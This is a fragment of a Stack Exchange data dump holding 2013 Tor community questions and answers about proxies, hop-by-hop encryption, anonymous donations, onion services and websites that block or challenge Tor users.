  <row Id="933" PostTypeId="1" CreationDate="2013-12-08T21:30:36.210" Score="2" ViewCount="677" Body="&lt;p&gt;Real Time Messaging Protocol (RTMP) is a flash based protocol used for streaming, chatting etc. I need to use RTMP based website at my university for some reason but the connection fails as my network uses a proxy. I have tried Tor and Proxifier but had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody could guide me, I'd appreciate that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: I read somewhere that RTMP uses port 1935, and my best guess is that port is blocked due to proxy. How should I unblock that port?&lt;/p&gt;&#xA;" OwnerUserId="671" LastActivityDate="2013-12-08T21:30:36.210" Title="Websites using RTMP don't allow proxy" Tags="|transparent-proxy|" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-21T22:52:17.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="934" PostTypeId="1" CreationDate="2013-12-08T22:16:47.760" Score="2" ViewCount="2374" Body="&lt;p&gt;In the past week, I have not been able to access my Yahoo Mail account using Tor. Has something changed recently? I tried using the Yahoo Mail and Yahoo! rules but it didn't work. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="672" LastEditorUserId="923" LastEditDate="2014-03-04T23:41:03.747" LastActivityDate="2020-01-29T12:51:45.890" Title="Yahoo access using Tor" Tags="|configuration|email|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="935" PostTypeId="2" ParentId="891" CreationDate="2013-12-09T05:34:36.577" Score="5" Body="&lt;p&gt;&quot;Launch application&quot; is a misnomer.  This dialog box pops up any time you click on a link to a file that Torbrowser (Firefox) doesn't know how to display on its own, regardless of whether you intend to use an external app or not; unfortunately, it pops up &lt;strong&gt;before&lt;/strong&gt; Firefox gives you the chance to specify what to do with the file in question, and I think this dialog should be reworded to make that clearer.  If you click on &quot;Launch&quot; and then select &quot;Save file&quot; in the next dialog, no external app is actually launched - at least, not until you double-click on the saved file.  This may be intended as a warning that when you &lt;strong&gt;do&lt;/strong&gt; open the saved file, whatever other program gets used &lt;strong&gt;to&lt;/strong&gt; open that file is out of Tor's control, and &lt;strong&gt;could&lt;/strong&gt; compromise your privacy.  Depending on the type of file you're downloading (and your level of paranoia), it may be wise to disconnect from the Internet altogether before opening that downloaded file.&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-12-09T05:34:36.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="936" PostTypeId="1" CreationDate="2013-12-09T12:16:26.540" Score="1" ViewCount="235" Body="&lt;p&gt;It appears that the US government has pulled the plug, and Tor now requires donations to carry on. But the problem is, the moment I make a payment through a credit card I am immediately identified as a Tor user, this time by a name and a lot more information than just an IP address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Is it possible to make anonymous donations?&lt;/p&gt;&#xA;" OwnerUserId="678" LastEditorUserId="71" LastEditDate="2013-12-20T21:26:45.300" LastActivityDate="2016-07-29T16:06:47.073" Title="Donation to Tor — problem with anonymity" Tags="|anonymity|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="937" PostTypeId="2" ParentId="927" CreationDate="2013-12-09T12:34:26.543" Score="-1" Body="&lt;p&gt;You could also consider using a router that has Tor embedded in it like a &lt;a href=&quot;http://www.paparouter.com/&quot; rel=&quot;nofollow&quot;&gt;PAPARouter&lt;/a&gt;. You can anonymize several devices and as a bonus, PAPARouter by default does not use US or US intelligence friendly exit nodes. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="404" LastEditorUserId="71" LastEditDate="2013-12-13T15:07:40.237" LastActivityDate="2013-12-13T15:07:40.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="938" PostTypeId="2" ParentId="936" CreationDate="2013-12-09T12:42:53.613" Score="-1" Body="&lt;p&gt;You could consider using a router that has Tor built into it like a PAPARouter. It has Tor hard coded into it and can anonymize several devices at once (Google it). They're cheap too but probably the coolest thing is that they exclude, by default, US and US intelligence friendly exit nodes. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="404" LastActivityDate="2013-12-09T12:42:53.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="939" PostTypeId="1" CreationDate="2013-12-09T13:43:30.367" Score="1" ViewCount="370" Body="&lt;p&gt;I'm wondering how Tor hosting providers handles using private RSA keys of their users so they can use their own .onion names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand, when I have a private RSA key and I send this private key to a Tor host and he runs it, I should be able somehow to get his real IP address using this RSA key, isn't that right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not asking of how to do that, I am just asking 'How providers stay anonymous'. And how they can protect themselves.&lt;/p&gt;&#xA;" OwnerUserId="679" LastEditorDisplayName="user5" LastEditDate="2013-12-09T14:17:51.793" LastActivityDate="2016-01-13T20:43:14.180" Title="Private RSA keys on a Tor hosting" Tags="|onion-services|security|deanonymization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="940" PostTypeId="2" ParentId="927" CreationDate="2013-12-09T14:52:37.767" Score="5" Body="&lt;p&gt;Note that there are two dimensions to this question: What is &lt;em&gt;technically&lt;/em&gt; possible for your ISP and what is &lt;em&gt;legally&lt;/em&gt; possible. In many jurisdictions, it is illegal for ISPs to spy on their customers and log their actions even though technically they may be in a position to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot;&gt;interactive graphic&lt;/a&gt; produced by the EFF provides an overview of what is technically possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using HTTPS to download Tor (recommended!), the ISP be able to see the that you are connecting to the server that hosts the Tor website. They will also see roughly how much data you are transferring. Thus they can guess that you are probably/possibly downloading the Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already have a version of Tor (for example, if a friend gave you a Tails CD) and you use that to download the Tor Browser Bundle, then the ISP would not know that you are connecting to the Tor website. They would still see roughly how much data you are transferring, but that information alone is likely to be inconclusive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As others have noted, unless you tunnel your Tor traffic through a pluggable transport or similar, your ISP will still know &lt;em&gt;that&lt;/em&gt; you are using Tor.&lt;/p&gt;&#xA;" OwnerUserId="680" LastActivityDate="2013-12-09T14:52:37.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="942" PostTypeId="2" ParentId="931" CreationDate="2013-12-09T15:47:32.507" Score="5" Body="&lt;p&gt;Whenever I've got that message, it's been because a Firefox process actually was running, even though there was no Firefox window.  Since it sounds like you're running Windows, have you tried Ctrl-Alt-Del to open the system manager and looked for a Firefox process?  If you find one, try killing it.&lt;/p&gt;&#xA;" OwnerUserId="623" LastActivityDate="2013-12-09T15:47:32.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="943" PostTypeId="1" AcceptedAnswerId="945" CreationDate="2013-12-09T16:08:14.930" Score="5" ViewCount="6897" Body="&lt;p&gt;I have frequently heard that the endpoints of a Tor connection are unencrypted. This makes no sense to me. If the purpose of Tor was originally to protect dissidents in places like China, then why would the connection from a computer running Tor browser to the Tor network be unencrypted? Anybody with influence at the ISP could then listen to all traffic. So I have assumed that the claim that Tor is not encrypted in the first/last legs is nonsense. But is it? I keep hearing this claim.&lt;/p&gt;&#xA;" OwnerUserId="378" LastEditorUserId="923" LastEditDate="2014-03-04T23:40:45.823" LastActivityDate="2014-07-04T08:43:16.803" Title="Is my Tor browser's connection to the Tor routing network encrypted?" Tags="|exit-relays|encryption|https|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="944" PostTypeId="2" ParentId="936" CreationDate="2013-12-09T16:09:55.323" Score="5" Body="&lt;p&gt;You won't necessarily be identified as a Tor user if you donate by credit card, only as a Tor supporter: Some people recognize the Tor project as a valuable organization and choose to support it financially, even though they don't use Tor themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option you have is to donate to an organization which supports Tor. That way, if you use a credit card or Paypal, your donation will be linked to that organization rather that to the Tor Project directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Freedom of the Press Foundation is currently (at the time of writing) collecting donations to &quot;&lt;a href=&quot;https://pressfreedomfoundation.org/&quot;&gt;Support Encryption Tools for Journalists&lt;/a&gt;&quot;. Of four recipient organizations, one is the Tor Project, another is Tails; you can choose how your donation will be divided up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Freedom of the Press Foundation also accept &lt;a href=&quot;https://pressfreedomfoundation.org/donation-information&quot;&gt;anonymous donations by mail&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torservers.net/donate.html&quot;&gt;Torservers.net&lt;/a&gt; and its member organizations also accept donations by a variety of methods; this money is used to fund fast Tor relays and expand the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above organizations also accept Bitcoin donations, however Bitcoin is not anonymous unless you take adequate precautions.&lt;/p&gt;&#xA;" OwnerUserId="682" LastEditorUserId="71" LastEditDate="2013-12-09T20:16:30.013" LastActivityDate="2013-12-09T20:16:30.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="945" PostTypeId="2" ParentId="943" CreationDate="2013-12-09T17:40:26.823" Score="6" Body="&lt;p&gt;Your connection into the Tor network itself is encrypted, as are connections between Tor nodes. In fact, each hop is encrypted with a new key to avoid back-tracing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;em&gt;might&lt;/em&gt; be unencrypted is the connection from your Exit Node onto the web, &lt;em&gt;if&lt;/em&gt; you're connecting over an unencrypted protocol. This means that if you're viewing a standard HTTP webpage then the final Tor node in your circuit and their ISP can see the unencrypted data, but they won't be able to trace it back to its origin (unless that data contains anything personally identifying you).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XhXQa.png&quot; alt=&quot;How Tor Works: 2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2013-12-09T17:40:26.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="946" PostTypeId="2" ParentId="943" CreationDate="2013-12-09T17:43:02.750" Score="3" Body="&lt;p&gt;If you connect to a remote site (e.g example.com) using the Tor Browser, then strictly speaking there are five &quot;hops&quot; (TCP connections) involved, marked A, B, C, D and E below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;browser -A-&amp;gt; Tor client -B-&amp;gt; entry node -C-&amp;gt; middle node -D-&amp;gt; exit node -E-&amp;gt; example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of these five hops,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;A&quot; is the connection between the Tor browser and the &quot;Tor&quot; program; it uses a protocol called SOCKS which is unencrypted. Both the Tor browser and the Tor program are part of the Tor Browser bundle; so if you are using the Tor browser bundle both programs are running on your computer under your control, and nobody can eavesdrop on the connection. The Tor client picks a path through the Tor network by choosing an entry node, a middle node and an exit node.&lt;/li&gt;&#xA;&lt;li&gt;&quot;B&quot;, &quot;C&quot; and &quot;D&quot; are the hops which make up the chosen path through the Tor network, each is encrypted with a layer of encryption, such that each node can remove one layer.&lt;/li&gt;&#xA;&lt;li&gt;&quot;E&quot; is the connection that the exit node makes to the remote site you wanted to contact (example.com). Tor doesn't &quot;add&quot; any encryption to this hop; therefore whether it is encrypted or not depends on whether the remote site supports encryption, and whether you (or your browser) chose to use it when you tried to access the site.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the remote site supports encryption (as is the case when you access a site via a https:// URL) then the traffic will be encrypted &quot;from end to end&quot; (i.e. from Tor browser on your computer to the remote site). If it does not (e.g. a normal http connection), then hop &quot;E&quot; will be unencrypted, and it is possible for the exit node or anybody else who can eavesdrop on the traffic between the exit node and the remote site to listen in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser comes with an extension, https-everywhere, preinstalled, which will automatically &quot;upgrade&quot; any http connection attempt to an encrypted https connection if it knows that the remote site supports it.&lt;/p&gt;&#xA;" OwnerUserId="683" LastEditorUserId="923" LastEditDate="2014-07-04T08:43:16.803" LastActivityDate="2014-07-04T08:43:16.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="947" PostTypeId="1" CreationDate="2013-12-09T14:16:52.117" Score="4" ViewCount="1287" Body="&lt;p&gt;To browse the web, I connect to ssh and make a tunnel to an http proxy (privoxy) who is configured to &quot;route&quot; the traffic depending on the extension, here is an extract of the privoxy config file : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;forward .i2p localhost:4444&lt;br&gt;&#xA;forward-socks5   /               127.0.0.1:9050 .&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically, if the domain ends with &quot;.i2p&quot; it forwards the traffic to i2p and forward it to tor otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in Firefox I configure an http proxy (through a local port forwarding) BUT in these case it seems that I have a DNS leak and there is no obvious solution, so my question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I configure firefox with a socks proxy instead of an http proxy how can I write flexible rules to &quot;route&quot; the traffic to i2p, Tor, or eventually direct traffic (like my previous privoxy config)?&lt;/p&gt;&#xA;" OwnerUserId="689" OwnerDisplayName="user3083061" LastEditorUserId="923" LastEditDate="2014-03-04T23:41:37.640" LastActivityDate="2014-03-04T23:41:37.640" Title="socks server with &quot;dynamic traffic routing&quot; trought Tor / I2P depending on the extension .i2p .onion" Tags="|security|socks|i2p|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="949" PostTypeId="1" AcceptedAnswerId="950" CreationDate="2013-12-09T22:23:01.673" Score="9" ViewCount="1734" Body="&lt;p&gt;Certain sites block traffic from known exit nodes, and some sites simply show a CAPTCHA due to excessive abuse, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a list of websites known to be troublesome for visitors using Tor?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="71" LastEditorUserId="923" LastEditDate="2014-03-04T23:40:34.353" LastActivityDate="2016-08-20T15:40:39.610" Title="What common sites are known to be troublesome for Tor use?" Tags="|exit-relays|censorship|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="950" PostTypeId="2" ParentId="949" CreationDate="2013-12-09T22:23:01.673" Score="10" Body="&#xA;&#xA;&lt;p&gt;This community wiki will list commonly used websites known to be troublesome for Tor users. These will be broken down into the following categories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Blocked&lt;/strong&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Access to Tor traffic completely blocked&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Limited by CAPTCHA&lt;/strong&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Access may require submitting a CAPTCHA or similar verification&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Otherwise Limited&lt;/strong&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Access is limited in some other way, e.g. certain functionality may be restricted or login may not be possible, but site can otherwise be functional&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The purpose of this page is not to discuss fixes/workarounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an update, make sure to follow the format that's been established, and the following guidelines:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Keep websites in alphabetical order under each heading.&lt;/li&gt;&#xA;&lt;li&gt;Specify the date access to each website is confirmed to be blocked/hindered.&lt;/li&gt;&#xA;&lt;li&gt;Include the reason for the block if provided by the provider.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Blocked entirely to Tor users&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.healthcare.gov/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HealthCare.gov&lt;/a&gt;&lt;/strong&gt;: Since at least 4th December 2013&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Returns &quot;Unable to connect&quot; in Tor Browser Bundle &lt;sup&gt;&lt;a href=&quot;https://tor.stackexchange.com/q/890&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Limited by CAPTCHA&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;CloudFlare&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Websites served through CloudFlare have various levels of &quot;challenge&quot; required by IPs with a &quot;threat level&quot; over that set by the CloudFlare customer, usually a CAPTCHA &lt;sup&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/599&quot;&gt;2&lt;/a&gt; &lt;a href=&quot;http://www.webhostingtalk.com/showthread.php?t=1290351&quot; rel=&quot;nofollow noreferrer&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Google&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Google websites will intermittently make visitors solve a CAPTCHA or tell them they have spyware installed. They may also slow down traffic from that IP address for a short time &lt;sup&gt;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#GoogleCAPTCHA&quot; rel=&quot;nofollow noreferrer&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Otherwise Limited&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.4chan.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;4chan&lt;/a&gt;&lt;/strong&gt;: Since at least 11th December 2013&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor users are banned from posting &lt;sup&gt;&lt;a href=&quot;https://www.4chan.org/faq#torproxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;GitHub.com&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://vimeo.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Vimeo&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reports &quot;This video can’t be played with your current setup.&quot; in Tor Browser Bundle&lt;/li&gt;&#xA;&lt;li&gt;Sometimes temporarily blocks an IP address &lt;sup&gt;&lt;a href=&quot;https://i.stack.imgur.com/6e6KK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://wikipedia.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Wikipedia&lt;/strong&gt;&lt;/a&gt;: Since at least 8th January 2008 &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;User unable to edit any article &lt;sup&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Wikipedia_talk%3ABlocking_policy/Tor_nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;del&gt;&lt;a href=&quot;https://www.mtgox.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Mt.Gox&lt;/strong&gt;&lt;/a&gt;: Warns users on signup: &lt;em&gt;Attention: accessing your account via the Tor network and/or public proxies may result in a temporary suspension of your account, and having to submit documents for AML verification.&lt;/em&gt;&lt;sup&gt;&lt;a href=&quot;https://www.mtgox.com/signup&quot; rel=&quot;nofollow noreferrer&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/del&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Bitcoin Forum&lt;/strong&gt;&lt;/a&gt;: User unable to signup or post messages: &lt;em&gt;Spam. (Auto-ban.) You may appeal here: banappeals-w6pquw43@theymos.e4ward.com . If you are using Tor, see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=99601.msg1089571#msg1089571&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=99601.msg1089571#msg1089571&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="71" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-12-30T16:24:38.790" CommentCount="2" CommunityOwnedDate="2013-12-09T22:23:01.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="951" PostTypeId="1" CreationDate="2013-12-09T23:49:25.487" Score="1" ViewCount="300" Body="&lt;p&gt;If I use the pluggable transports bundle with the bridge pack, it tells me my Tor browser needs an update. I have the regular bundle, so can I overwrite that browser with the current bundle or should I just wait until the pluggable transport bundle is updated?&lt;/p&gt;&#xA;" OwnerUserId="685" LastActivityDate="2013-12-10T10:48:19.837" Title="Tor pluggable transports bundle &amp; regular bundle" Tags="|tor-browser-bundle|pluggable-transports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="953" PostTypeId="2" ParentId="951" CreationDate="2013-12-10T10:48:19.837" Score="3" Body="&lt;p&gt;Tor doesn't officially support overwriting one bundle with a newer version. Overwriting with a different &lt;em&gt;sort&lt;/em&gt; of version or overwriting a 2.x version with a 3.x version is even more likely to lead to problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor tends to update the “vanilla” Torbrowser bundles first then release PT bundles a little later. Since most Torbrowser updates are security and bug fixes, it's always prudent to use the latest version. If you need to use a pluggable transport to connect to the Tor network, the latest version available for you might lag behind the “vanilla” versions by a few days, and that's unfortunate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version check in Torbrowser doesn't currently differentiate between “vanilla” and PT versions, so you may see an update prompt even when there isn't a PT bundle available yet, which is unfortunate. Part of Tor's roadmap for Torbrowser 3.x is to combine the PT and “vanilla” bundles so that there's just one Torbrowser, and it includes all the puggable transports you need.&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2013-12-10T10:48:19.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="954" PostTypeId="2" ParentId="687" CreationDate="2013-12-10T14:47:26.350" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/silvertunnel-ng/&quot; rel=&quot;nofollow&quot;&gt;silvertunnel-ng&lt;/a&gt; should do what you want. It's a Java library for easily accessing the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkout the Unittests for how to access/provide a hidden service.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceforge.net/p/silvertunnel-ng/code/ci/netlib-0.0.4/tree/netlib/src/test/java/org/silvertunnel_ng/netlib/layer/tor/TorHiddenServiceClientRemoteTest.java&quot; rel=&quot;nofollow&quot;&gt;TorHiddenServiceClientRemoteTest.java&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sourceforge.net/p/silvertunnel-ng/code/ci/netlib-0.0.4/tree/netlib/src/test/java/org/silvertunnel_ng/netlib/layer/tor/TorHiddenServiceServerRemoteTest.java&quot; rel=&quot;nofollow&quot;&gt;TorHiddenServiceServerRemoteTest.java&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="612" LastEditorUserId="612" LastEditDate="2015-05-23T15:08:43.010" LastActivityDate="2015-05-23T15:08:43.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="955" PostTypeId="1" CreationDate="2013-12-10T18:44:01.180" Score="2" ViewCount="422" Body="&lt;p&gt;By visiting ip-check.info you may find out if your browser's signature corresponds to that of Tor browser or not. If you use TBB it corresponds to it but if you use another browser it no longer corresponds to it.&#xA;The idea is to obfuscate this browser signature header using privoxy instead of using Torbutton since if you use privoxy Torbutton no longer obfuscates the signature header.&#xA;What is the name of that header and how can I replace its value by another value using privoxy?&lt;/p&gt;&#xA;" OwnerUserId="693" LastEditorUserId="923" LastEditDate="2014-07-03T21:52:49.723" LastActivityDate="2014-07-03T21:52:49.723" Title="How does Torbutton remove browser signature header?" Tags="|tor-browser-bundle|tor-button|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="956" PostTypeId="1" CreationDate="2013-12-10T21:35:30.690" Score="9" ViewCount="1500" Body="&lt;p&gt;In the Tor hidden service design Alice and Bob communicate via a rendezvous point that they agree to at one of the hidden service's introduction point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can either of these nodes observe traffic between Alice and Bob in the clear? If not, how can this be achived.&lt;/p&gt;&#xA;" OwnerUserId="695" LastEditorUserId="58" LastEditDate="2013-12-13T15:12:17.770" LastActivityDate="2013-12-13T15:12:17.770" Title="Traffic secrecy in rendezvous points" Tags="|onion-services|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="957" PostTypeId="1" AcceptedAnswerId="1014" CreationDate="2013-12-11T04:50:49.170" Score="12" ViewCount="2591" Body="&lt;p&gt;I accidentally allowed YouTube to access the data on a canvas. How do I disable a website from access a canvas?&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-15T07:15:56.920" Title="HTML5 Canvas Image Extraction" Tags="|firefox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="958" PostTypeId="1" CreationDate="2013-12-12T00:02:06.320" Score="1" ViewCount="21969" Body="&lt;p&gt;Should I use Orbot with a proxy or VPN? If so should I place it before or after Orbot's connection to the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="703" LastEditorUserId="71" LastEditDate="2013-12-12T15:01:05.507" LastActivityDate="2018-02-26T15:09:06.310" Title="Should I use a VPN with Orbot?" Tags="|vpn|orbot|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="959" PostTypeId="1" CreationDate="2013-12-12T00:09:23.147" Score="2" ViewCount="1520" Body="&lt;p&gt;Can I use Tails on a device that is already running Orbot? Or should I disable Orbot first?&lt;/p&gt;&#xA;" OwnerUserId="703" LastEditorUserId="71" LastEditDate="2013-12-12T14:17:21.663" LastActivityDate="2015-01-03T18:06:39.967" Title="Can I use Tails on a device that is already running Orbot?" Tags="|tails|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="961" PostTypeId="1" CreationDate="2013-12-12T00:45:21.533" Score="2" ViewCount="5018" Body="&lt;p&gt;I have seen an answers for this suggesting a security update, but no matter how many times I download the latest bundle, save, then run, I still get the flashing warning. Why?&lt;/p&gt;&#xA;" OwnerUserId="705" LastEditorUserId="923" LastEditDate="2014-03-04T23:39:14.443" LastActivityDate="2015-08-04T22:31:52.933" Title="Flashing exclamation triangle on green onion" Tags="|tor-browser-bundle|tor-button|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="962" PostTypeId="2" ParentId="943" CreationDate="2013-12-12T04:37:32.707" Score="1" Body="&lt;p&gt;Tor uses onion routing for its encryption which means you will encrypt sent messages using the encryption keys shared with each node. However, the last node or the end point will be able to decrypt the message and see its contents (in order to know where the next hop destination is). And if you message sent is unencrypted (non-HTTPS) then it is able to see your unencrypted/plaintext message too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the last node may be able to act as a man-in-the-middle and modify your messages without being detected. Thus, using HTTPS is recommended since the HTTPS encryption key is shared between you and the web server, the last node would not be able to decrypt and view the message contents. &lt;/p&gt;&#xA;" OwnerUserId="648" LastActivityDate="2013-12-12T04:37:32.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
